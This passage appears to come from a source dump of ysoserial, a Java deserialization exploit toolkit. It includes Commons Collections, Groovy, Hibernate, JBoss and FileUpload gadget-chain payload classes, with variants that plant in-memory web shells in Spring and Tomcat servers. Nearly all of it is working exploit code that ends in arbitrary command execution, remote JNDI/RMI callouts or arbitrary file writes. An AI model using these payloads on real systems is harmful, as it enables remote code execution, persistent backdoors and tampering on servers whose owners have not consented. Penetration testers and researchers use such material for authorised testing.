InstantiateTransformer instantiate = new InstantiateTransformer( 40 | paramTypes, args); 41 | 42 | // grab defensively copied arrays 43 | paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); 44 | args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); 45 | 46 | ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); 47 | 48 | // create queue with numbers 49 | PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain)); 50 | queue.add(1); 51 | queue.add(1); 52 | 53 | // swap in values to arm 54 | Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); 55 | paramTypes[0] = Templates.class; 56 | args[0] = templates; 57 | 58 | return queue; 59 | } 60 | 61 | public static void main(final String[] args) throws Exception { 62 | PayloadRunner.run(CommonsCollections4.class, args); 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections4SpringMemshell.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.util.PriorityQueue; 4 | import java.util.Queue; 5 | 6 | import javax.xml.transform.Templates; 7 | 8 | import org.apache.commons.collections4.Transformer; 9 | import org.apache.commons.collections4.comparators.TransformingComparator; 10 | import org.apache.commons.collections4.functors.ChainedTransformer; 11 | import org.apache.commons.collections4.functors.ConstantTransformer; 12 | import org.apache.commons.collections4.functors.InstantiateTransformer; 13 | 14 | import ysoserial.payloads.annotation.Authors; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.util.Gadgets; 17 | import ysoserial.payloads.util.PayloadRunner; 18 | import ysoserial.payloads.util.Reflections; 19 | 20 | import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 21 | 22 | /* 23 | * Variation on CommonsCollections2 that uses InstantiateTransformer instead of 24 | * InvokerTransformer. 25 | */ 26 | @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) 27 | @Dependencies({"org.apache.commons:commons-collections4:4.0"}) 28 | @Authors({ Authors.FROHOFF }) 29 | public class CommonsCollections4SpringMemshell implements ObjectPayload> { 30 | 31 | public Queue getObject(final String command) throws Exception { 32 | Object templates = Gadgets.createDFSSpringMemshell(); 33 | 34 | ConstantTransformer constant = new ConstantTransformer(String.class); 35 | 36 | // mock method name until armed 37 | Class[] paramTypes = new Class[] { String.class }; 38 | Object[] args = new Object[] { "foo" }; 39 | InstantiateTransformer instantiate = new InstantiateTransformer( 40 | paramTypes, args); 41 | 42 | // grab defensively copied arrays 43 | paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); 44 | args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); 45 | 46 | ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); 47 | 48 | // create queue with numbers 49 | PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain)); 50 | queue.add(1); 51 | queue.add(1); 52 | 53 | // swap in values to arm 54 | Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); 55 | paramTypes[0] = Templates.class; 56 | args[0] = templates; 57 | 58 | return queue; 59 | } 60 | 61 | public static void main(final String[] args) throws Exception { 62 | PayloadRunner.run(CommonsCollections4.class, args); 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections4TomcatMemshell.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.util.PriorityQueue; 4 | import java.util.Queue; 5 | 6 | import javax.xml.transform.Templates; 7 | 8 | import org.apache.commons.collections4.Transformer; 9 | import org.apache.commons.collections4.comparators.TransformingComparator; 10 | import org.apache.commons.collections4.functors.ChainedTransformer; 11 | import org.apache.commons.collections4.functors.ConstantTransformer; 12 | import org.apache.commons.collections4.functors.InstantiateTransformer; 13 | 14 | import ysoserial.payloads.annotation.Authors; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.util.Gadgets; 17 | import ysoserial.payloads.util.PayloadRunner; 18 | import ysoserial.payloads.util.Reflections; 19 | 20 | import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 21 | 22 | /* 23 | * Variation on CommonsCollections2 that uses InstantiateTransformer instead of 24 | * InvokerTransformer. 25 | */ 26 | @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) 27 | @Dependencies({"org.apache.commons:commons-collections4:4.0"}) 28 | @Authors({ Authors.FROHOFF }) 29 | public class CommonsCollections4TomcatMemshell implements ObjectPayload> { 30 | 31 | public Queue getObject(final String command) throws Exception { 32 | Object templates = Gadgets.createDFSTomcatMemshell(); 33 | 34 | ConstantTransformer constant = new ConstantTransformer(String.class); 35 | 36 | // mock method name until armed 37 | Class[] paramTypes = new Class[] { String.class }; 38 | Object[] args = new Object[] { "foo" }; 39 | InstantiateTransformer instantiate = new InstantiateTransformer( 40 | paramTypes, args); 41 | 42 | // grab defensively copied arrays 43 | paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); 44 | args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); 45 | 46 | ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); 47 | 48 | // create queue with numbers 49 | PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain)); 50 | queue.add(1); 51 | queue.add(1); 52 | 53 | // swap in values to arm 54 | Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); 55 | paramTypes[0] = Templates.class; 56 | args[0] = templates; 57 | 58 | return queue; 59 | } 60 | 61 | public static void main(final String[] args) throws Exception { 62 | PayloadRunner.run(CommonsCollections4.class, args); 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections5.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.Field; 4 | import java.lang.reflect.InvocationHandler; 5 | import java.util.HashMap; 6 | import java.util.Map; 7 | 8 | import javax.management.BadAttributeValueExpException; 9 | 10 | import org.apache.commons.collections.Transformer; 11 | import org.apache.commons.collections.functors.ChainedTransformer; 12 | import org.apache.commons.collections.functors.ConstantTransformer; 13 | import org.apache.commons.collections.functors.InvokerTransformer; 14 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 15 | import org.apache.commons.collections.map.LazyMap; 16 | 17 | import ysoserial.payloads.annotation.Authors; 18 | import ysoserial.payloads.annotation.Dependencies; 19 | import ysoserial.payloads.annotation.PayloadTest; 20 | import ysoserial.payloads.util.Gadgets; 21 | import ysoserial.payloads.util.JavaVersion; 22 | import ysoserial.payloads.util.PayloadRunner; 23 | import ysoserial.payloads.util.Reflections; 24 | 25 | /* 26 | Gadget chain: 27 | ObjectInputStream.readObject() 28 | BadAttributeValueExpException.readObject() 29 | TiedMapEntry.toString() 30 | LazyMap.get() 31 | ChainedTransformer.transform() 32 | ConstantTransformer.transform() 33 | InvokerTransformer.transform() 34 | Method.invoke() 35 | Class.getMethod() 36 | InvokerTransformer.transform() 37 | Method.invoke() 38 | Runtime.getRuntime() 39 | InvokerTransformer.transform() 40 | Method.invoke() 41 | Runtime.exec() 42 | 43 | Requires: 44 | commons-collections 45 | */ 46 | /* 47 | This only works in JDK 8u76 and WITHOUT a security manager 48 | 49 | https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70 50 | */ 51 | @SuppressWarnings({"rawtypes", "unchecked"}) 52 | @PayloadTest ( precondition = "isApplicableJavaVersion") 53 | @Dependencies({"commons-collections:commons-collections:3.1"}) 54 | @Authors({ Authors.MATTHIASKAISER, Authors.JASINNER }) 55 | public class CommonsCollections5 extends PayloadRunner implements ObjectPayload { 56 | 57 | public BadAttributeValueExpException getObject(final String command) throws Exception { 58 | final String[] execArgs = new String[] { command }; 59 | // inert chain for setup 60 | final Transformer transformerChain = new ChainedTransformer( 61 | new Transformer[]{ new ConstantTransformer(1) }); 62 | // real chain for after setup 63 | final Transformer[] transformers = new Transformer[] { 64 | new ConstantTransformer(Runtime.class), 65 | new InvokerTransformer("getMethod", new Class[] { 66 | String.class, Class[].class }, new Object[] { 67 | "getRuntime", new Class[0] }), 68 | new InvokerTransformer("invoke", new Class[] { 69 | Object.class, Object[].class }, new Object[] { 70 | null, new Object[0] }), 71 | new InvokerTransformer("exec", 72 | new Class[] { String.class }, execArgs), 73 | new ConstantTransformer(1) }; 74 | 75 | final Map innerMap = new HashMap(); 76 | 77 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 78 | 79 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); 80 | 81 | BadAttributeValueExpException val = new BadAttributeValueExpException(null); 82 | Field valfield = val.getClass().getDeclaredField("val"); 83 | Reflections.setAccessible(valfield); 84 | valfield.set(val, entry); 85 | 86 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain 87 | 88 | return val; 89 | } 90 | 91 | public static void main(final String[] args) throws Exception { 92 | PayloadRunner.run(CommonsCollections5.class, args); 93 | } 94 | 95 | public static boolean isApplicableJavaVersion() { 96 | return JavaVersion.isBadAttrValExcReadObj(); 97 | } 98 | 99 | } 100 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections6.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.ChainedTransformer; 5 | import org.apache.commons.collections.functors.ConstantTransformer; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections.map.LazyMap; 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | import java.io.Serializable; 15 | import java.lang.reflect.Field; 16 | import java.util.HashMap; 17 | import java.util.HashSet; 18 | import java.util.Map; 19 | 20 | /* 21 | Gadget chain: 22 | java.io.ObjectInputStream.readObject() 23 | java.util.HashSet.readObject() 24 | java.util.HashMap.put() 25 | java.util.HashMap.hash() 26 | org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() 27 | org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() 28 | org.apache.commons.collections.map.LazyMap.get() 29 | org.apache.commons.collections.functors.ChainedTransformer.transform() 30 | org.apache.commons.collections.functors.InvokerTransformer.transform() 31 | java.lang.reflect.Method.invoke() 32 | java.lang.Runtime.exec() 33 | 34 | by @matthias_kaiser 35 | */ 36 | @SuppressWarnings({"rawtypes", "unchecked"}) 37 | @Dependencies({"commons-collections:commons-collections:3.1"}) 38 | @Authors({ Authors.MATTHIASKAISER }) 39 | public class CommonsCollections6 extends PayloadRunner implements ObjectPayload { 40 | 41 | public Serializable getObject(final String command) throws Exception { 42 | 43 | final String[] execArgs = new String[] { command }; 44 | 45 | final Transformer[] transformers = new Transformer[] { 46 | new ConstantTransformer(Runtime.class), 47 | new InvokerTransformer("getMethod", new Class[] { 48 | String.class, Class[].class }, new Object[] { 49 | "getRuntime", new Class[0] }), 50 | new InvokerTransformer("invoke", new Class[] { 51 | Object.class, Object[].class }, new Object[] { 52 | null, new Object[0] }), 53 | new InvokerTransformer("exec", 54 | new Class[] { String.class }, execArgs), 55 | new ConstantTransformer(1) }; 56 | 57 | Transformer transformerChain = new ChainedTransformer(transformers); 58 | 59 | final Map innerMap = new HashMap(); 60 | 61 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 62 | 63 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); 64 | 65 | HashSet map = new HashSet(1); 66 | map.add("foo"); 67 | Field f = null; 68 | try { 69 | f = HashSet.class.getDeclaredField("map"); 70 | } catch (NoSuchFieldException e) { 71 | f = HashSet.class.getDeclaredField("backingMap"); 72 | } 73 | 74 | Reflections.setAccessible(f); 75 | HashMap innimpl = (HashMap) f.get(map); 76 | 77 | Field f2 = null; 78 | try { 79 | f2 = HashMap.class.getDeclaredField("table"); 80 | } catch (NoSuchFieldException e) { 81 | f2 = HashMap.class.getDeclaredField("elementData"); 82 | } 83 | 84 | Reflections.setAccessible(f2); 85 | Object[] array = (Object[]) f2.get(innimpl); 86 | 87 | Object node = array[0]; 88 | if(node == null){ 89 | node = array[1]; 90 | } 91 | 92 | Field keyField = null; 93 | try{ 94 | keyField = node.getClass().getDeclaredField("key"); 95 | }catch(Exception e){ 96 | keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); 97 | } 98 | 99 | Reflections.setAccessible(keyField); 100 | keyField.set(node, entry); 101 | 102 | return map; 103 | 104 | } 105 | 106 | public static void main(final String[] args) throws Exception { 107 | PayloadRunner.run(CommonsCollections6.class, args); 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections7.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.ChainedTransformer; 5 | import org.apache.commons.collections.functors.ConstantTransformer; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.map.LazyMap; 8 | 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | import java.util.HashMap; 15 | import java.util.Hashtable; 16 | import java.util.Map; 17 | 18 | /* 19 | Payload method chain: 20 | 21 | java.util.Hashtable.readObject 22 | java.util.Hashtable.reconstitutionPut 23 | org.apache.commons.collections.map.AbstractMapDecorator.equals 24 | java.util.AbstractMap.equals 25 | org.apache.commons.collections.map.LazyMap.get 26 | org.apache.commons.collections.functors.ChainedTransformer.transform 27 | org.apache.commons.collections.functors.InvokerTransformer.transform 28 | java.lang.reflect.Method.invoke 29 | sun.reflect.DelegatingMethodAccessorImpl.invoke 30 | sun.reflect.NativeMethodAccessorImpl.invoke 31 | sun.reflect.NativeMethodAccessorImpl.invoke0 32 | java.lang.Runtime.exec 33 | */ 34 | 35 | @SuppressWarnings({"rawtypes", "unchecked"}) 36 | @Dependencies({"commons-collections:commons-collections:3.1"}) 37 | @Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI}) 38 | 39 | public class CommonsCollections7 extends PayloadRunner implements ObjectPayload { 40 | 41 | public Hashtable getObject(final String command) throws Exception { 42 | 43 | // Reusing transformer chain and LazyMap gadgets from previous payloads 44 | final String[] execArgs = new String[]{command}; 45 | 46 | final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); 47 | 48 | final Transformer[] transformers = new Transformer[]{ 49 | new ConstantTransformer(Runtime.class), 50 | new InvokerTransformer("getMethod", 51 | new Class[]{String.class, Class[].class}, 52 | new Object[]{"getRuntime", new Class[0]}), 53 | new InvokerTransformer("invoke", 54 | new Class[]{Object.class, Object[].class}, 55 | new Object[]{null, new Object[0]}), 56 | new InvokerTransformer("exec", 57 | new Class[]{String.class}, 58 | execArgs), 59 | new ConstantTransformer(1)}; 60 | 61 | Map innerMap1 = new HashMap(); 62 | Map innerMap2 = new HashMap(); 63 | 64 | // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject 65 | Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); 66 | lazyMap1.put("yy", 1); 67 | 68 | Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); 69 | lazyMap2.put("zZ", 1); 70 | 71 | // Use the colliding Maps as keys in Hashtable 72 | Hashtable hashtable = new Hashtable(); 73 | hashtable.put(lazyMap1, 1); 74 | hashtable.put(lazyMap2, 2); 75 | 76 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 77 | 78 | // Needed to ensure hash collision after previous manipulations 79 | lazyMap2.remove("yy"); 80 | 81 | return hashtable; 82 | } 83 | 84 | public static void main(final String[] args) throws Exception { 85 | PayloadRunner.run(CommonsCollections7.class, args); 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/DynamicDependencies.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | /** 5 | * @author mbechler 6 | * 7 | */ 8 | public interface DynamicDependencies { 9 | 10 | } 11 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/FileUpload1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import java.io.File; 5 | import java.io.IOException; 6 | import java.io.OutputStream; 7 | import java.util.Arrays; 8 | 9 | import org.apache.commons.codec.binary.Base64; 10 | import org.apache.commons.fileupload.disk.DiskFileItem; 11 | import org.apache.commons.io.output.DeferredFileOutputStream; 12 | import org.apache.commons.io.output.ThresholdingOutputStream; 13 | 14 | import ysoserial.payloads.annotation.Authors; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.annotation.PayloadTest; 17 | import ysoserial.payloads.util.JavaVersion; 18 | import ysoserial.payloads.util.PayloadRunner; 19 | import ysoserial.payloads.util.Reflections; 20 | 21 | 22 | /** 23 | * Gadget chain: 24 | * DiskFileItem.readObject() 25 | * 26 | * Arguments: 27 | * - copyAndDelete;sourceFile;destDir 28 | * - write;destDir;ascii-data 29 | * - writeB64;destDir;base64-data 30 | * - writeOld;destFile;ascii-data 31 | * - writeOldB64;destFile;base64-data 32 | * 33 | * Yields: 34 | * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) 35 | * - pre 1.3.1 (+ old JRE): write data to an arbitrary file 36 | * - 1.3.1+: write data to a more or less random file in an arbitrary directory 37 | * 38 | * @author mbechler 39 | */ 40 | @Dependencies ( { 41 | "commons-fileupload:commons-fileupload:1.3.1", 42 | "commons-io:commons-io:2.4" 43 | } ) 44 | @PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition") 45 | @Authors({ Authors.MBECHLER }) 46 | public class FileUpload1 implements ReleaseableObjectPayload { 47 | public static boolean isApplicableJavaVersion() { 48 | return JavaVersion.isAtLeast(7); 49 | } 50 | 51 | public DiskFileItem getObject ( String command ) throws Exception { 52 | 53 | String[] parts = command.split(";"); 54 | 55 | if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) { 56 | return copyAndDelete(parts[ 1 ], parts[ 2 ]); 57 | } 58 | else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) { 59 | return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); 60 | } 61 | else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) { 62 | return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); 63 | } 64 | else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) { 65 | return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); 66 | } 67 | else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) { 68 | return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); 69 | } 70 | else { 71 | throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); 72 | } 73 | } 74 | 75 | 76 | public void release ( DiskFileItem obj ) throws Exception { 77 | // otherwise the finalizer deletes the file 78 | DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); 79 | Reflections.setFieldValue(obj, "dfos", dfos); 80 | } 81 | 82 | private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { 83 | return makePayload(0, copyTo, copyAndDelete, new byte[1]); 84 | } 85 | 86 | 87 | // writes data to a random filename (update__.tmp) 88 | private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { 89 | return makePayload(data.length + 1, dir, dir + "/whatever", data); 90 | } 91 | 92 | 93 | // writes data to an arbitrary file 94 | private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception { 95 | return makePayload(data.length + 1, file + "\0", file, data); 96 | } 97 | 98 | 99 | private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception { 100 | // if thresh < written length, delete outputFile after copying to repository temp file 101 | // otherwise write the contents to repository temp file 102 | File repository = new File(repoPath); 103 | DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); 104 | File outputFile = new File(filePath); 105 | DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); 106 | OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); 107 | os.write(data); 108 | Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); 109 | Reflections.setFieldValue(diskFileItem, "dfos", dfos); 110 | Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); 111 | return diskFileItem; 112 | } 113 | 114 | 115 | public static void main ( final String[] args ) throws Exception { 116 | PayloadRunner.run(FileUpload1.class, args); 117 | } 118 | 119 | } 120 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Groovy1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.Map; 5 | 6 | import org.codehaus.groovy.runtime.ConvertedClosure; 7 | import org.codehaus.groovy.runtime.MethodClosure; 8 | 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.Gadgets; 12 | import ysoserial.payloads.util.PayloadRunner; 13 | 14 | /* 15 | Gadget chain: 16 | ObjectInputStream.readObject() 17 | PriorityQueue.readObject() 18 | Comparator.compare() (Proxy) 19 | ConvertedClosure.invoke() 20 | MethodClosure.call() 21 | ... 22 | Method.invoke() 23 | Runtime.exec() 24 | 25 | Requires: 26 | groovy 27 | */ 28 | 29 | @SuppressWarnings({ "rawtypes", "unchecked" }) 30 | @Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) 31 | @Authors({ Authors.FROHOFF }) 32 | public class Groovy1 extends PayloadRunner implements ObjectPayload { 33 | 34 | public InvocationHandler getObject(final String command) throws Exception { 35 | final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); 36 | 37 | final Map map = Gadgets.createProxy(closure, Map.class); 38 | 39 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); 40 | 41 | return handler; 42 | } 43 | 44 | public static void main(final String[] args) throws Exception { 45 | PayloadRunner.run(Groovy1.class, args); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Hibernate2.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import ysoserial.payloads.annotation.Authors; 5 | import ysoserial.payloads.annotation.PayloadTest; 6 | import ysoserial.payloads.util.JavaVersion; 7 | import ysoserial.payloads.util.PayloadRunner; 8 | 9 | import com.sun.rowset.JdbcRowSetImpl; 10 | 11 | 12 | /** 13 | * 14 | * Another application filter bypass 15 | * 16 | * Needs a getter invocation that is provided by hibernate here 17 | * 18 | * javax.naming.InitialContext.InitialContext.lookup() 19 | * com.sun.rowset.JdbcRowSetImpl.connect() 20 | * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() 21 | * org.hibernate.property.access.spi.GetterMethodImpl.get() 22 | * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() 23 | * org.hibernate.type.ComponentType.getPropertyValue(C) 24 | * org.hibernate.type.ComponentType.getHashCode() 25 | * org.hibernate.engine.spi.TypedValue$1.initialize() 26 | * org.hibernate.engine.spi.TypedValue$1.initialize() 27 | * org.hibernate.internal.util.ValueHolder.getValue() 28 | * org.hibernate.engine.spi.TypedValue.hashCode() 29 | * 30 | * 31 | * Requires: 32 | * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) 33 | * 34 | * Arg: 35 | * - JNDI name (i.e. rmi:) 36 | * 37 | * Yields: 38 | * - JNDI lookup invocation (e.g. connect to remote RMI) 39 | * 40 | * @author mbechler 41 | */ 42 | @SuppressWarnings ( { 43 | "restriction" 44 | } ) 45 | @PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest", precondition = "isApplicableJavaVersion") 46 | @Authors({ Authors.MBECHLER }) 47 | public class Hibernate2 implements ObjectPayload, DynamicDependencies { 48 | public static boolean isApplicableJavaVersion() { 49 | return JavaVersion.isAtLeast(7); 50 | } 51 | 52 | public static String[] getDependencies () { 53 | return Hibernate1.getDependencies(); 54 | } 55 | 56 | public Object getObject ( String command ) throws Exception { 57 | JdbcRowSetImpl rs = new JdbcRowSetImpl(); 58 | rs.setDataSourceName(command); 59 | return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") ); 60 | } 61 | 62 | 63 | public static void main ( final String[] args ) throws Exception { 64 | PayloadRunner.run(Hibernate2.class, args); 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/JBossInterceptors1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import org.jboss.interceptor.builder.InterceptionModelBuilder; 5 | import org.jboss.interceptor.builder.MethodReference; 6 | import org.jboss.interceptor.proxy.DefaultInvocationContextFactory; 7 | import org.jboss.interceptor.proxy.InterceptorMethodHandler; 8 | import org.jboss.interceptor.reader.ClassMetadataInterceptorReference; 9 | import org.jboss.interceptor.reader.DefaultMethodMetadata; 10 | import org.jboss.interceptor.reader.ReflectiveClassMetadata; 11 | import org.jboss.interceptor.reader.SimpleInterceptorMetadata; 12 | import org.jboss.interceptor.spi.instance.InterceptorInstantiator; 13 | import org.jboss.interceptor.spi.metadata.InterceptorReference; 14 | import org.jboss.interceptor.spi.metadata.MethodMetadata; 15 | import org.jboss.interceptor.spi.model.InterceptionModel; 16 | import org.jboss.interceptor.spi.model.InterceptionType; 17 | import ysoserial.payloads.annotation.Authors; 18 | import ysoserial.payloads.annotation.Dependencies; 19 | import ysoserial.payloads.annotation.PayloadTest; 20 | import ysoserial.payloads.util.Gadgets; 21 | import ysoserial.payloads.util.JavaVersion; 22 | import ysoserial.payloads.util.PayloadRunner; 23 | import ysoserial.payloads.util.Reflections; 24 | 25 | import java.lang.reflect.Constructor; 26 | import java.util.*; 27 | 28 | /* 29 | by @matthias_kaiser 30 | */ 31 | @SuppressWarnings({"rawtypes", "unchecked"}) 32 | @PayloadTest(precondition = "isApplicableJavaVersion") 33 | @Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", 34 | "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", 35 | "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" }) 36 | @Authors({ Authors.MATTHIASKAISER }) 37 | public class JBossInterceptors1 implements ObjectPayload { 38 | public static boolean isApplicableJavaVersion() { 39 | return JavaVersion.isAtLeast(7); 40 | } 41 | 42 | public Object getObject(final String command) throws Exception { 43 | 44 | final Object gadget = Gadgets.createTemplatesImpl(command); 45 | 46 | InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); 47 | ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); 48 | InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); 49 | 50 | Set s = new HashSet(); 51 | s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); 52 | 53 | Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); 54 | Reflections.setAccessible(defaultMethodMetadataConstructor); 55 | MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, 56 | MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); 57 | 58 | List list = new ArrayList(); 59 | list.add(methodMetadata); 60 | Map> hashMap = new HashMap>(); 61 | 62 | hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); 63 | SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); 64 | 65 | builder.interceptAll().with(simpleInterceptorMetadata); 66 | 67 | InterceptionModel model = builder.build(); 68 | 69 | HashMap map = new HashMap(); 70 | map.put("ysoserial", "ysoserial"); 71 | 72 | DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); 73 | 74 | InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { 75 | 76 | public Object createFor(InterceptorReference paramInterceptorReference) { 77 | 78 | return gadget; 79 | } 80 | }; 81 | 82 | return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); 83 | 84 | } 85 | 86 | 87 | public static void main(final String[] args) throws Exception { 88 | PayloadRunner.run(JBossInterceptors1.class, args); 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/JRMPClient.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import java.lang.reflect.Proxy; 5 | import java.rmi.registry.Registry; 6 | import java.rmi.server.ObjID; 7 | import java.rmi.server.RemoteObjectInvocationHandler; 8 | import java.util.Random; 9 | 10 | import sun.rmi.server.UnicastRef; 11 | import sun.rmi.transport.LiveRef; 12 | import sun.rmi.transport.tcp.TCPEndpoint; 13 | import ysoserial.payloads.annotation.Authors; 14 | import ysoserial.payloads.annotation.PayloadTest; 15 | import ysoserial.payloads.util.PayloadRunner; 16 | 17 | 18 | /** 19 | * 20 | * 21 | * UnicastRef.newCall(RemoteObject, Operation[], int, long) 22 | * 